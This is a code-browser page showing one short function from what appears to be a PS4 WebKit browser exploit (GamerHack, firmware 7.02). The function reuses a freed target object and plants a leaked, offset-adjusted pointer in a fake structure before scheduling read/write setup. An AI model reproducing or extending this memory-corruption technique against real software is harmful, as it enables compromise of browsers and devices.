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hub / github.com/GamerHack/GamerHack.github.io / confuseTargetObjRound2

Function confuseTargetObjRound2

702/WebRTE/ps4.js:244–251  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

242 * and before deleteBubbleTree
243 */
244function confuseTargetObjRound2() {
245 if (findTargetObj() === false)
246 die("[!] Failed to reuse target obj.");
247
248 g_fake_validation_message[4] = g_jsview_leak.add(OFFSET_JSAB_VIEW_LENGTH + 5 - OFFSET_HTMLELEMENT_REFCOUNT).asDouble();
249
250 setTimeout(setupRW, 6000);
251}
252
253
254/* Executed after deleteBubbleTree */

Callers

nothing calls this directly

Calls 3

findTargetObjFunction · 0.70
dieFunction · 0.70
addMethod · 0.45

Tested by

no test coverage detected